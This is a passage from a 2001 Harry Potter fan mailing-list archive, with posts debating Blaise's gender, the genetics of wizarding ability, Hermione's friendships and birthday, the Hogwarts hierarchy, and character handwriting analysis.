JKR would also give him porphyria, I would be able to go about with 
quite a smug expression on my face...
 
--Barb

Get Psyched Out!

http://schnoogle.com/authorLinks/Barb/
http://groups.yahoo.com/group/HP_Psych





From rowena_grunnion_ffitch at yahoo.com  Wed Sep 26 23:46:34 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Wed, 26 Sep 2001 16:46:34 -0700 (PDT)
Subject: [HPforGrownups] Hermione's Friends; genes
In-Reply-To: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2DB6@MIAEXCH1>
Message-ID: <20010926234634.88078.qmail@web20809.mail.yahoo.com>

No: HPFGUIDX 26757


--- "Tandy, Heidi" 

> A close reading of PoA implies that there are two
> other students in the
> class, because the Boggart changes for two people
> more than the kids we
> *know* are in the class. I don't think there are 2
> other girls simply
> because of the balance of 5 in each dorm; I think it
> because of that. For
> the other houses, don't we know only 2 Hufflepuff
> boys and 4 Slytherin boys
> (if you believe that Blaise is a girl)

    Who believes Blaise is a girl and why? I assumed
he was a boy. Blaise *is* a boy's name isn't it?

 

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From rowena_grunnion_ffitch at yahoo.com  Thu Sep 27 00:09:21 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Wed, 26 Sep 2001 17:09:21 -0700 (PDT)
Subject: [HPforGrownups] Hermione's priorities/wizarding genetics
In-Reply-To: <9os3hn+ukug@eGroups.com>
Message-ID: <20010927000921.96651.qmail@web20805.mail.yahoo.com>

No: HPFGUIDX 26758


--- lake4fam at earthlink.net wrote:
> Catherine:  I think that Hermione's priorities would
> probably be 
> doing homework, and saving the world.

    Now be fair, when the crisis is at hand she will
put aside her homework, temporarily, in order to help
save the world. :D
 
> Rowena G-Ff.:  Have you read the Deryni Chronicles? 

    How did you guess? However Katherine Kurtz' Deryni
'activator gene' is sex linked being found on the X
chromosone and can be passed down intact for
generations. Deryniness is not cumulative, one either
is or one isn't depending on whether one has inherited
the critical gene and it doesn't matter how far back
your full blooded Deryni ancestor was.
   JKR's wizardry seems to work on much the same
principle, though there is no indication of it being a
sex linked trait. It is possible for Muggles to have a
wizardly child, (and I'm sticking to my theory of
spontaneous mutation) and it is possible though much
rarer for Wizards to have a Muggle child or 'Squib'. 
   Remember Ron says most Wizards have mixed blood,
Muggle and Wizard. Now if the key gene is a dominate
the offspring of such a match would have the abilities
of his/her Wizard/Witch parent *but* would be carrying
only one gene instead of two. Now if such a half blood
married another half blood there would be a one in
four chance of them producing a 'Squib', (if I
remember my Mendelian genetics correctly). Since this
is considered shameful and is probably hidden when
possible Squibs may be rather more common than Ron
thinks. 

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From tabouli at unite.com.au  Thu Sep 27 00:47:13 2001
From: tabouli at unite.com.au (Tabouli)
Date: Thu, 27 Sep 2001 10:47:13 +1000
Subject: Ability, gender mix, and Medelian magic...
Message-ID: <005401c146ee$08a6e280$6d90aecb@price>

No: HPFGUIDX 26759

Luke:
> --- In HPforGrownups at y..., "Tabouli" <tabouli at u...> wrote:
> There is one piece of evidence that suggests that entry into 
> Hogwarts is predicated on ability, and that is Neville's relatives 
> being worried that he was "all muggle for ages" and wouldn't be 
> magic enough to get into Hogwarts.
>
> Well, technically, if I may be so bold and nitpicky, the Neville 
> incident (as quoted below) only indicates that if Neville were a squib 
> (all-Muggle, as he says) he would not have been accepted to Hogwarts. 
>  This has nothing really to do with intelligence, which was the 
> premise of Joywitch's comments about Stan, Ernie, etc.

Hang on, hang on, let me clarify... "entry into Hogwarts is predicated on MAGICAL ability".  I didn't say anything about academic intelligence, which is a different thing altogether.  We don't have any conclusive evidence about the relationship between academic intelligence and magical ability, except perhaps that the former (and accompanying useful abilities such as a good memory and analytical ability, etc.) seems to enhance the latter, from Hermione and Neville.

Gert:
> LOL! This is hilarious and disturbingly plausible. I don't think I'm 
ready for L.O.L.L.I.P.O.P.S. yet, (although I will wave as you sail 
by simply out of admiration for the acronym) but can I be a 
F.L.I.R.T.I.A.C.? Please?<

(Tabouli solemnly bestows a FLIRTIAC T-shirt upon Gert and bids her wear it well)

JayKay:
> I didn't. I've always had more male friends than female friends, so it doesn't surprise that Hermione does, too. 

I tend to feel most comfortable in unisex company, either *all* male or *all* female.  My theory is that I have a different way of interacting with men and women, and being in a mixed group means I have to compromise or alternate.  Not that I'm not used to this anyway, being bicultural (I even speak in a different dialect, practically, to the three members of my family: intellectuo-English to my father, Minglish (?? Malaysian English, a relative of Singlish) to my mother, and a sort of monotone Australian drawl to my brother), but it does get stressful trying to juggle all the personas at once.

More JayKay:
> I believe whole-heartedly that there are specific reasons why Our Severus is so bitter and angry. I
don't think he was just born a jerk; events and experiences shaped him, and I've speculated that
unrequited love may very well be a significant factor in the mix. 

Ahaaaaaar, welcome aboard!  I think that makes a crew of five...

> David, who BTW thinks magic and genetics don't mix.

I'm inclined to agree.  It's like being determined to find a scientifically plausible explanation for Noah's Ark (if the kangaroos set out for Jerusalem from Australia on a raft two years before Noah embarked...).  However, for those that insist, I think your best bet is a multi-gene or Squib is a gene failure theory (vague memories of words like "allele" come to mind, but I can't be bothered looking up my Mendel at this point).  My own grasp of human genetics is hazy, so correction is welcome, but if you want a one-gene theory, here's what we know:

1.  Wizard cross Wizard gives Wizard, with the occasional Squib

2.  Wizard cross Muggle gives Wizard (no indication whether Squibs are more common in half-bloods)

3. Muggle cross Muggle gives Muggle, with the occasional Wizard

4. When Muggle cross Muggle *does* give Wizard, siblings seem to have a higher than usual but not 100% chance of being Wizard rather than Muggle (the Creeveys and Patils are both Wizards, and we don't know if they have other siblings, Petunia was Muggle/Squib and Lily was Wizard)

5. No indication whether Squibs are in fact identical to Muggles, or a sort of defunct Wizard

(Let me see, we could call the dominant gene M and the recessive one m, and all parents have 4 children:

MM + MM = 4MM; mm + mm = 4mm; MM + Mm = 3MM + 1Mm, MM + mm = 4Mm; MmMMMmmMmMaaaargh....)

Number 1 in itself is inconclusive about dominance and recessiveness.  If the Wizard gene were dominant, and the recessive Muggle gene were rare in wizard populations, our observation that Wizard cross Wizard gives almost 100% Wizard would be feasible.  If the Wizard gene were recessive, Wizard cross Wizard should give practically 100% Wizard offspring and would mean that Squibs could be a mutation or failure of the Wizard gene to express.  However...

Number 2 suggests that the Wizard gene is dominant.  If the Muggle gene were dominant, half-bloods would all be Squibs/Muggles.

Number 3 suggests that the Wizard gene is recessive.  This is reminiscent of the ol' throwback syndrome, where two invisible recessive genes suddenly team up after years of hiding unexpressed.

Number 4 is compatible with Number 3: assuming both parents have the recessive Wizard gene somewhere, their offspring would have a good but not 100% chance of being Wizards.

Number 5 poses a question which it would be very important to answer for the purposes of genetic theorising.  If Squibs are a sort of defunct Wizard, this suggests the failure of a gene to express itself.


[Non-text portions of this message have been removed]




From aiz24 at hotmail.com  Thu Sep 27 00:57:01 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Thu, 27 Sep 2001 00:57:01 -0000
Subject: Hierarchy - C.R.A.B. etc. - Hermione's friends
Message-ID: <9ottgt+3f9d@eGroups.com>

No: HPFGUIDX 26760

Cindy wrote:

> Minister of Magic
> Hogwarts Board of Govenors
> Hogwarts Headmaster  
> Other MoM Department Heads (with its own internal pecking order)
> Hogwarts Teachers (with its own internal pecking order)
> Hogwarts GameKeeper, a job that requires little magic
> Hogwarts Caretaker, a job that requires no magic

> Although Dumbledore is pretty high up in this list, he is certainly 
> vulnerable in light of his unwarranted suspension in CoS.  Perhaps 
> other roles can be wedged somewhere in this heirarchy (assuming 
> anyone even agrees with this bare bones structure)?

There's another factor in the hierarchy:  how powerful your magic is. 
 I'd rank Dumbledore above the Governors, even though they hire and 
fire him, on the basis of his extraordinary ability; vulnerability and 
high status aren't mutually exclusive.  It also makes his status with 
Fudge complex; Fudge does outrank him, but in terms of magic 
Dumbledore is the superior.  They also both know that Dumbledore was 
first pick for Fudge's job.

> Cindy (wondering why Filch would want to be dead last in the pecking 
> order than take his chances in the Muggle world)

Oh, I'd give up my higher-status profession in the Muggle world to be 
janitor at Hogwarts, at least for a couple years.

Riv wrote:

<terrific post>

>Yepster, colour me C.R.A.B!  as soon as I can affird the fees that 
is.

I imagine it's a sliding scale.  We C.R.A.B.by ones know what poverty 
is.  I mean, at 2 Sickles each, the Weasleys would be out almost a 
precious Galleon buying memberships for everyone.  Of course, Gred and 
Forge might not *want* to join.

Likewise, Tabouli, the low price for membership in W.O.W.W.W. reflects 
its radical politics.  Like the Catholic Worker costing a penny.  
ROTFL to LOLLIPOPS and FLIRTIAC!  I won't be joining either, but the 
tragic story of Argus and Mrs. N almost made me splurt my drink all 
over the keyboard.

Catherine wrote:

>This argument has been refuted before, when people have suggested
> that Ginny isn't in Hermione's confidence, and the example usually
> used to illustrate this is that she doesn't take Ginny into her
> confidence regarding Sirius. 

Wow, really?  I think that is a very weak example.  This is someone 
else's secret--Sirius's, and Harry's too--and it is a life-and-death 
matter.  Not telling even a close friend is perfectly natural, and I 
would think less of her if she did tell.

Amy Z

-----------------------------------------------------
   "Dumbledore, you know what that woman =is=?"
   "I consider her to be a very able Headmistress--
 and an excellent dancer," said Dumbledore quietly.
                       -HP and the Goblet of Fire
-----------------------------------------------------




From margdean at erols.com  Thu Sep 27 00:41:12 2001
From: margdean at erols.com (Margaret Dean)
Date: Wed, 26 Sep 2001 20:41:12 -0400
Subject: [HPforGrownups] Hermione's Friends; genes
References: <20010926234634.88078.qmail@web20809.mail.yahoo.com>
Message-ID: <3BB275A8.32A3F6AD@erols.com>

No: HPFGUIDX 26761

Rowena Grunnion-Ffitch wrote:
> 
> --- "Tandy, Heidi"


> > For
> > the other houses, don't we know only 2 Hufflepuff
> > boys and 4 Slytherin boys
> > (if you believe that Blaise is a girl)
> 
>     Who believes Blaise is a girl and why? I assumed
> he was a boy. Blaise *is* a boy's name isn't it?

Perhaps originally, but it's also the sort of boy's name that's
increasingly being bestowed on girls these days (like "Brooke"
and "Mallory").  Personally I won't be sure till I see a pronoun.


--Margaret Dean
  <margdean at erols.com>



From heidi.h.tandy.c92 at alumni.upenn.edu  Thu Sep 27 01:55:57 2001
From: heidi.h.tandy.c92 at alumni.upenn.edu (Tandy, Heidi)
Date: Wed, 26 Sep 2001 21:55:57 -0400
Subject: [HPforGrownups] Hermione's Friends; genes
Message-ID: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2DD0@MIAEXCH1>

No: HPFGUIDX 26762

In the german and hebrew versions, listies have said, the Blaise pronuns and
nouns are feminine.

-----Original Message-----
From: Margaret Dean <margdean at erols.com>
To: HPforGrownups at yahoogroups.com <HPforGrownups at yahoogroups.com>
Sent: Wed Sep 26 20:41:12 2001
Subject: Re: [HPforGrownups] Hermione's Friends; genes

Real-To:  Margaret Dean <margdean at erols.com>

Rowena Grunnion-Ffitch wrote:
> 
> --- "Tandy, Heidi"


> > For
> > the other houses, don't we know only 2 Hufflepuff
> > boys and 4 Slytherin boys
> > (if you believe that Blaise is a girl)
> 
>     Who believes Blaise is a girl and why? I assumed
> he was a boy. Blaise *is* a boy's name isn't it?

Perhaps originally, but it's also the sort of boy's name that's
increasingly being bestowed on girls these days (like "Brooke"
and "Mallory").  Personally I won't be sure till I see a pronoun.


--Margaret Dean
  <margdean at erols.com>


____________________________________________________________

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are only as strong as we are united, as weak as we are divided. 
"Lord Voldemort's gift for spreading discord and enmity is very great.  We
can fight it only by showing an equally strong bond of friendship and trust.
Differences of habit and language are nothing at all if our aims are
identical and our hearts are open."

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From meboriqua at aol.com  Thu Sep 27 02:02:22 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Thu, 27 Sep 2001 02:02:22 -0000
Subject: House Elves/Harry & Jealousy/LOLLIPOPS
In-Reply-To: <9otp0r+9a68@eGroups.com>
Message-ID: <9ou1be+iml8@eGroups.com>

No: HPFGUIDX 26763

--- In HPforGrownups at y..., blpurdom at y... wrote:  
> 
> However, we discover in GoF that the thing that Harry is most 
jealous  of once he is a Triwizard champion is Ron's ordinariness.>

Don't you just love Harry all the more for wanting something as 
simple, pleasant and harmless as that?  I do.

<  Harry is jealous of Ron's family, but 
> he also is jealous of Ron's unremarkableness, which makes Ron very 
> discontented (as evidenced by the Mirror of Erised).  I doubt 
somehow that Ron will achieve all of those things he saw in the 
Mirror, or even that achieving all of them would be good for him 
(Dumbledore cautioned Harry that people often want what is worst for 
them).  I expect this to be a painful lesson for Ron.  (Perhaps 
Voldemort will tempt him with a way to achieve these things?)>

Poor Harry.  My heart goes out to him again and again.  Every time I 
read Dumbledore calling out Harry's name from the goblet of fire, I 
get a squishy feeling in my stomach.  I would hate to be chosen for 
the Triwizard Tournament as much as Harry did, and I think he handles 
it with grace and pride.  I, too, want Harry to be able to sit in the 
stands with his friends and cheer on the Hogwarts champion, but I also 
know Harry is destined for much bigger and more important things.  I 
also trust Harry's inner strength to handle it, but I feel sad that he 
has to.

--jenny from ravenclaw, truly in love with harry 
********************************************************




From taradiane at yahoo.com  Thu Sep 27 03:14:16 2001
From: taradiane at yahoo.com (tara diane)
Date: Wed, 26 Sep 2001 20:14:16 -0700 (PDT)
Subject: new member, and an ex-harry hater at that
Message-ID: <20010927031416.252.qmail@web11507.mail.yahoo.com>

No: HPFGUIDX 26764


hello!

just thought i'd drop in and announce my
presence.  i'm tara, 25, new here, blah blah
blah.  as i referenced in the subject line, i
am actually an ex-anti-potter muggle.  yeah, i
was
one of those who said "kids shouldn't read
stuff
dealing with the occult and witchcraft".  i was
mainly basing my opinion on things that i had
read in Christian articles, interviews, etc.  

what changed my mind?  well, actually, it was
my
adoration for the little boy who played david
copperfield that got me into the books.  when i
found out daniel radcliffe was going to play
harry, i did some searching on the net for
additional info regarding the HP cannon.  i
didn't really understand most of what i was
reading since i had never read the books, so i
decided to hop over to amazon.com and buy a
used
copy.  figured if it sucked, i wouldn't be
wasting that much money ;-)  about a week later
it arrived, and i started reading it one night
when there was nothing on tv.  it was a slow
start.  i admit i didn't really start to get
into
it until harry got on the train.  well, once i
finished it i knew i had to have the rest.  and
only hardcover would do.  a week later, i had
all
4 devoured.
 
another thing i want to mention here is that i
am
a Christian.  raised a baptist and a practising
nazarene, i did have quite a few reservations
about reading these books.  all i heard was
negative stuff about it all.  but when i look
back on these books, i can honestly say there
are
lots of comparisons between harry's world and
my
Christian one.  it's your basic battle between
good and evil, right and wrong.  there are a
few
minor problems that MIGHT prevent me from
letting
my young kid read them if i had one, but in the
end it is up to each individual parent.  

one of the other reasons i bought that first
book
is because i have a 6 year old neice.  while
she
hasn't expressed real interest in harry, she
certainly knows who he is and will probably
want
to see the movie once she sees the trailers on
tv.  since i knew her parents weren't going to
read the book, i figured i would.  that way i
could tell them if i felt there were any real
problems with it.  but i didn't see all the
horrible evils i had read about.  i didn't see
any satan worshipping kids casting spells.

so anyway, that's my story.  cheers!!


=====
@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!
"Are you serious? Do you really care what 
peanut butter I prefer? Are you in peanut 
butter marketing or something?" 
- John Taylor, Duran Duran
@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!

__________________________________________________
Do You Yahoo!?
Listen to your Yahoo! Mail messages from any phone.
http://phone.yahoo.com



From neilward at dircon.co.uk  Thu Sep 27 03:32:26 2001
From: neilward at dircon.co.uk (Neil Ward)
Date: Thu, 27 Sep 2001 03:32:26 -0000
Subject: DISCUSSIONS: Shift of dates
Message-ID: <9ou6ka+9hh0@eGroups.com>

No: HPFGUIDX 26765

Hi everyone!

For obvious reasons, our regular discussion schedule was interrupted 
a couple of weeks back, so the whole thing has been moved back one 
week.  Under the new schedule, we're due to be discussing Ch.1 of 
PS/SS this week (summary: Jana) with Ch.s 2-3 next week (summary: Joy 
W), but in reality the discussions on these intro chapters will 
probably be running together over next week.  

OKAY, WHAT AM I TALKING ABOUT?

"Schedule? Schedule? What is this McGonagall-like strictness invading 
our random thinking?"

For those of you who are new to the group and not familiar with this 
system, each week we have one or two scheduled discussions running 
alongside the other threads.  Volunteers post a summary+questions - 
usually on the Monday - to lead off each discussion. 

UNCLAIMED DISCUSSION TOPICS

Apart from book chapter summaries, there are some essay topics in the 
schedule.  Some of these are still unclaimed, so if anyone fancies 
taking one on, let me know (***OFFLIST*** please to 
neil.wardATdircon.co.uk, replacing AT with the 'at' symbol).

Still up for grabs are: 

Classes: Herbology/History of Magic (due 24-30 Sep, yikes, that's 
NOW..okay, whenever!)
Magical Devices & Objects (due 1-7 Oct)
Classes: Tranfiguration (29 Oct - 4 Nov)

Here's a link to the schedule table:

http://groups.yahoo.com/group/HPforGrownups/files/Discussion%
20Summaries/NewDiscussions.htm

Btw, the Chaser e-mail on that table also goes to me.

Um, thanks for listening!  I'm now off to polish my headlights to a 
shine...

Neil/Flying Ford Anglia
Magical Mod Squad






From animalsbaby_1999 at yahoo.com  Thu Sep 27 03:38:57 2001
From: animalsbaby_1999 at yahoo.com (laura hickman)
Date: Wed, 26 Sep 2001 20:38:57 -0700 (PDT)
Subject: [HPforGrownups] Hermione's priorities/wizarding genetics
In-Reply-To: <20010927000921.96651.qmail@web20805.mail.yahoo.com>
Message-ID: <20010927033857.35495.qmail@web20010.mail.yahoo.com>

No: HPFGUIDX 26766

A little history about myself... to help explain the
trait questions.  I was born w/ a heart condition, to
this day, no doctor can tell me where it came...
considering neither parent had any probs and no known
family members (besides basic heart probs that come w/
years of "bad living")  I even went through genetic
testing, for a study, and it came out that probably,
since having children, is just such a crap shoot as it
is, that my heart condition was just "one of those
things that can go wrong with all the different genes
and chromosones"  So maybe if we look back in the
history of Hogwarts, there are more half-bloods and
squibs floating around then full bloods.  On that
note... isn't interesting that the only families we
know to have sided w/ Vol were all full bloods, and it
all of the sudden makes the whole series into not a
"basic child's fanasty story" but a study of racism. 
Sorry my critical theory side is coming out. 
Furthermore, going back to the Neville question, since
both of his parents and rest of his family are all
full bloods, isn't strange that someone Draco wouldn't
want to be "friendly" with since Neville does come
from a full blood family.  Also I do believe Neville
saw what happened to his family and he had memory
charms put on him and that is why he does not show
many magical ablity, but don't forget, he is really
good at herbology... something that I feel will be
revelled at a later time his family was good at.  Plus
his father was an Auror, just like the REAL Mad Eye
Moody!  Who knows, maybe in time Neville will prove
that he is more magical then even we have thought
about... plus as we all know... Neville is worth 10
Draco (or was it more... sorry if I was wrong)

Sorry to be so long... got off on a bunch of different
thoughts... hope all will forgive.  Also... don't
worry, I'm fine.  Like I said, I was born w/ the
problem, but now all is fine!

Laura
animalsbaby_1999 at yahoo.com 
or
lhickman at home.com
--- Rowena Grunnion-Ffitch
<rowena_grunnion_ffitch at yahoo.com> wrote:
> 
> --- lake4fam at earthlink.net wrote:
> > Catherine:  I think that Hermione's priorities
> would
> > probably be 
> > doing homework, and saving the world.
> 
>     Now be fair, when the crisis is at hand she will
> put aside her homework, temporarily, in order to
> help
> save the world. :D
>  
> > Rowena G-Ff.:  Have you read the Deryni
> Chronicles? 
> 
>     How did you guess? However Katherine Kurtz'
> Deryni
> 'activator gene' is sex linked being found on the X
> chromosone and can be passed down intact for
> generations. Deryniness is not cumulative, one
> either
> is or one isn't depending on whether one has
> inherited
> the critical gene and it doesn't matter how far back
> your full blooded Deryni ancestor was.
>    JKR's wizardry seems to work on much the same
> principle, though there is no indication of it being
> a
> sex linked trait. It is possible for Muggles to have
> a
> wizardly child, (and I'm sticking to my theory of
> spontaneous mutation) and it is possible though much
> rarer for Wizards to have a Muggle child or 'Squib'.
> 
>    Remember Ron says most Wizards have mixed blood,
> Muggle and Wizard. Now if the key gene is a dominate
> the offspring of such a match would have the
> abilities
> of his/her Wizard/Witch parent *but* would be
> carrying
> only one gene instead of two. Now if such a half
> blood
> married another half blood there would be a one in
> four chance of them producing a 'Squib', (if I
> remember my Mendelian genetics correctly). Since
> this
> is considered shameful and is probably hidden when
> possible Squibs may be rather more common than Ron
> thinks. 
> 
> __________________________________________________
> Do You Yahoo!?
> Get email alerts & NEW webcam video instant
> messaging with Yahoo! Messenger. http://im.yahoo.com
> 


__________________________________________________
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Get email alerts & NEW webcam video instant messaging with Yahoo! Messenger. http://im.yahoo.com



From frantyck at yahoo.com  Thu Sep 27 07:24:40 2001
From: frantyck at yahoo.com (frantyck at yahoo.com)
Date: Thu, 27 Sep 2001 07:24:40 -0000
Subject: Handwriting in FB (late as usual)
Message-ID: <9ouk7o+e52d@eGroups.com>

No: HPFGUIDX 26767

Sorry for length of post...

Credit where credit's due: This was first brought up by Amy Z ages 
ago, so says the message archive. Trina offered some analysis. Both 
anticipated some of the points I make.

I think I have the US editions.

Confession: It was a major thrill to scribble my own name in 
Fantastic Beasts alongside the others!

-----------------------------

In high school, my mum once sent me a large book on handwriting 
analysis, whose author claimed (on the front cover) to have consulted 
with the likes of the FBI and Forbes 500 corporations. It was a 
mesmerising read, and also a massive pain in the ***. It was (with a 
few exceptions...) very tiresome to have people begging to borrow it, 
or to have their handwritings analysed by an expert (me), almost 
fearfully, as if I had some secret window into their souls. Worse, 
probably, was the constant, petty desire to secretly evaluate others' 
handwriting, to see what they were *really* like. Worst of all was 
the attempt to change my own handwriting to be more hardworking, 
smarter, whatever the needs of high school dictate! At some point, I 
shoved the book under the mattress and deliberately lost it.

So that establishes my expertise. Actually, everyone can (and 
probably does) do some handwriting analysis. It's hardly a science.

The US editions of the main books have some faux-handwritten script, 
notably in Hagrid's letters to the trio in PoA (complete with teary 
blotches). We also have Sirius Black's signature, or at least his 
name written at the bottom of letters to Harry. Dumbledore signs his 
foreword to Fantastic Beasts with an old-fashioned flourish (and it 
really looks like he used a quill!). Mafalda Hopkirk's teacherly 
signature is on the letter Harry receives after Dobby performs that 
Hover Charm on Petunia's fancy pudding in CoS. Minerva McGonagall 
signs the Hogwarts admission letter in PS/SS.

[Skip the standard disclaimer about how small samples of handwriting 
are not much use for accurate analysis.]

Ron: angular, heavy, slightly irregular script with a dominant middle 
zone, no tall stems and deep g's. I have a friend whose handwriting 
is very similar, and he is also tall, lanky, has a short fuse and is 
very funny. According to his handwriting, Ron isn't much of a dreamer 
and doesn't have any major goals... is this too obvious?

Hermione: careful, regular, even, with a nice balance of lower, 
middle and upper zones (the so-called id, ego and superego zones). 
The interesting thing is that while the letters in each word are 
normally spaced, the words are quite far apart. This is supposed to 
indicate reticence, difficulty in making many friends... again 
obvious.

Harry: very interesting for several reasons. His signature (which I 
like a lot) shows confidence and clarity. It slopes gently upward 
which -- wait for it -- means that he has a basically positive 
outlook. "Harry" starts out pretty much upright and normal, but 
halfway through "Potter" the letters start leaning, and almost trip 
over in their eagerness to get off the page... the single bar of the 
two t's and the final stroke of the r are long and straight, 
indicating will and the ability to work hard (which is why I was 
surprised not to see it as clearly in Hermione's handwriting). The 
bar of the t's hangs high on the stems, another indication of 
hardworkingness. The clarity and strength of the signature seem to 
show that he does not doubt himself, witness the two confident 
downward strokes of the H. Wait, read on.

Harry's handwriting seems the most mature of the three, partly 
because the three zones (id, ego, superego) are not balanced. The 
middle zone (ego) is small compared to the tall stems and deep tails. 
Harry thinks a lot without necessarily thinking constructively or 
with direction (tall upper zone). At the same time, he is not 
particularly imaginative, because the upward stems are stiff and 
narrow, not loopy. I would link this with Harry's strong t-bars, to 
say that he can work hard toward specific goals, but perhaps not 
including homework and not all the time.

Harry also has a thirst to achieve (deep lower zone). The cramped, 
diffident middle zone suggests either that Harry is outward-directed 
and doesn't spend a lot of time thinking about himself, or that he 
isn't as sure of himself as his signature might suggest.

This difference between eager signature and diffident script suggests 
that Harry likes his name a lot (apparently this matters), and that 
it forms part of his identity... Harry Potter shaped by what it means 
to be Harry Potter.

What bothers me, though, is the strange, guilty little loop at the 
bottom of Harry's g's and y's. There's something wrong there, because 
he isn't able to open up and make the normal upward flick that would 
cursively connect the g or y to the next letter. In extreme cases, 
such as weird flicks or curls at the bottom of y's and g's, that's 
supposed to indicate some form of deviance (sexual or not, I dunno) 
or trouble in the id.

I suppose it's fair to say that Harry has a troubled id.


If you've been going "hmph, this is all obvious," it's true. We know 
what the characters are like because we are shown how they think, 
behave, react, relate to each other. I do appreciate the thoughtful 
way in which even small touches like the fragments of handwriting 
tell us something about the characters -- not necessarily something 
we didn't already know. It's an added subtlety that makes the whole 
ring truer.




From A.E.B.Bevan at open.ac.uk  Thu Sep 27 09:27:42 2001
From: A.E.B.Bevan at open.ac.uk (A.E.B.Bevan at open.ac.uk)
Date: Thu, 27 Sep 2001 09:27:42 -0000
Subject: No girlfriends for Hermione?
In-Reply-To: <20010925.234246.-361189.1.mindyatime@juno.com>
Message-ID: <9ouree+9nru@eGroups.com>

No: HPFGUIDX 26768

"Mindy C.L." <mindyatime at j...> wrote:
> I find it strange that Hermione is not associating with any girls 
in her school. She's always hanging out with Ron & Harry. I know 
they're not 'boyfriends' in the sense of the word, but still, most of 
us girls in  school hung out with the girls, didn't we? 

Its not as if she is a tomboy either. But I do think she is the kind 
of person (male or female) who would be excluded from some peer 
rituals because they are aware enough to be self-conscious and 
therefore are seen as a threat by the conventional.

In PoA isnt there a brief cameo where she, Molly Weasley and Ginny 
are in a giggly group as Molly recalls love potions she used as a 
girl... ?? Suggests she has soem interactiosn Harry et all ames are 
not aware of...

We do get a very partial view of Hogwarts from seeing it as Harry POV 
centred... and one consequnece is that the Heidi effect also seems to 
be in operation. 

Heidi some will recall went right through a series of books from 
childhood to young adulthood without having a period. Since part of 
the theme there is growing up after a fashion this is a little 
strange.. 


Edis







From vheggie at yahoo.com  Thu Sep 27 11:32:41 2001
From: vheggie at yahoo.com (vheggie at yahoo.com)
Date: Thu, 27 Sep 2001 11:32:41 -0000
Subject: genetics
Message-ID: <9ov2op+10aos@eGroups.com>

No: HPFGUIDX 26769

Heh, I knew my degree (in genetics) would come in handy one day.  I 
didn't imagine it would be to debate the genetics of wizarding 
ability however....

I won't cut and paste all the previous debates - I'm a bit late in 
joining in, so I'll just throw in my own 2 knuts:

It's unlikely that magic ability is a single-gene condition:
1) Assume it's a recessive allele so mm = wizard and MM & Mm = muggle.
In order for two wizards to produce a squib a spontaneous mutation 
must occur which 'knocks out' the action of one of the parental 
genes.  This sort of mutation is INCREDIBLY rare, compared to the 
rates of hereditary diseases (which are also relatively uncommon).  
Off-hand, we're talking about not much more than one in a hundred 
thousand people suffereing from a spontaneous mutation of this sort.  
Most wizards probably wouldn't even have heard of a 'squib', or be 
aware of the possibility of having a 'squib', if this were the case.

2) Assume dominance so MM & Mm = wizard and mm = muggle.  No muggle 
parents could ever have wizards, unless a spontaneous mutation 
occured - see argument above - it is also a lot more infrequent for a 
spontaneous mutation to give INCREASED function to an allele (ie it's 
harder to 'make it work differently' than to 'break it') - people 
like Hermione would be one-in-a-million occurances - I think we can 
see from the text that muggle born wizards are a lot more common than 
that.

The more genetics is studied, the more we realise that things are 
never as simple as they seem.  The majority of intellectual, 
emotional, and even physiological characteristics are not the product 
of single genes.
It's clear that some people can be 'more magical' than others; 
Neville, IIRC worries that he was "not magical enough".  This 
suggests a polygenic condition; in this case, it would be perfectly 
possible to have both wizards and muggles with a complex set of genes 
for magical ability, allowing wizard parents to have squibs (who, 
after all, may well be able to do SOME magic - we don't know), and 
muggles to have wizards.

I imagine it being like musical ability - it's all very well having 
perfect pitch, but if you've poor coordination skills and lack the 
ability to regulate your breathing, you're never going to become a 
great pianist, or solo singer.







From fourfuries at aol.com  Thu Sep 27 13:07:00 2001
From: fourfuries at aol.com (fourfuries at aol.com)
Date: Thu, 27 Sep 2001 13:07:00 -0000
Subject: Harry & Jealousy
In-Reply-To: <9ou1be+iml8@eGroups.com>
Message-ID: <9ov89k+273f@eGroups.com>

No: HPFGUIDX 26770

--- In HPforGrownups at y..., meboriqua at a... wrote:
> --- In HPforGrownups at y..., blpurdom at y... wrote:  
> > 
> > However, we discover in GoF that the thing that Harry is most 
> jealous  of once he is a Triwizard champion is Ron's ordinariness.
> Harry is jealous of Ron's family, but 
> he also is jealous of Ron's unremarkableness, which makes Ron very 
> discontented (as evidenced by the Mirror of Erised)[snip]but I also 
> know Harry is destined for much bigger and more important things. 

Not to be a snit, but I think the discussion would be improved if we 
note that it is Envy, not Jealousy, that Harry feels.  We envy things 
that others possess, but can only be jealous regarding things that 
belong to us.  Thus, the jealous husband considers himself to be 
defending "his" territory, just as the "jealous god" Jehovah is 
protective of his position in the eyes of "his people", the wandering 
Israelites.

Envy, on the other hand, is a more dangerous thing, as it has no 
justification.  It is, like lust and greed, one of the Seven 
Reputedly Deadly Sins, and must be guarded against.  Ron is envious 
of Harry's notoriety, Harry of Ron's anonymity.  How they handle 
these natural but dangerous impulses determines the extent to which 
envy is a theme worth discussing.

4FR




From frances at forever.u-net.com  Thu Sep 27 13:09:14 2001
From: frances at forever.u-net.com (frances at forever.u-net.com)
Date: Thu, 27 Sep 2001 13:09:14 -0000
Subject: Hermione's birthday
Message-ID: <9ov8dq+v5mt@eGroups.com>

No: HPFGUIDX 26771

Hi. Sorry if this has been discussed before, but I'm relatively new to 
HP fandom. I have just been reading the very interesting article at the 
Lexicon about whether Hermione was born in 1979 or 1980. I'm interested 
because I needed to decide one way or another for a story I am writing 
which I've just started posting to FictionAlley.net.

As a Brit, I have been in the education system over here all my life, 
and ended up coming down on the side of 1979 because 1st of September 
deadline has always been strictly observed over here as the cut off 
point for when people change schools (in this case from primary age 7-
11 to secondary school age 11+). My own brother, whose birthday is 9th 
September was almost 12 when he started secondary school and was, 
therefore, the eldest in class. Another brother, whose birthday was 
15th August was only just 11 when he started and was, thus, nearly the 
youngest. Children don't miss out on a year as it normally kicks in 
when the child starts school at either 4 or 5 and just carries on. As 
to whether this would have made Hermione an 'older' or more 'mature' 
student doesn't really come into things, as it very much depends on the 
child.

I'm interested to know what other people's views might be on this.

Thanks
Frances





From b.jebenstreit at biologie.uni-bielefeld.de  Thu Sep 27 13:56:32 2001
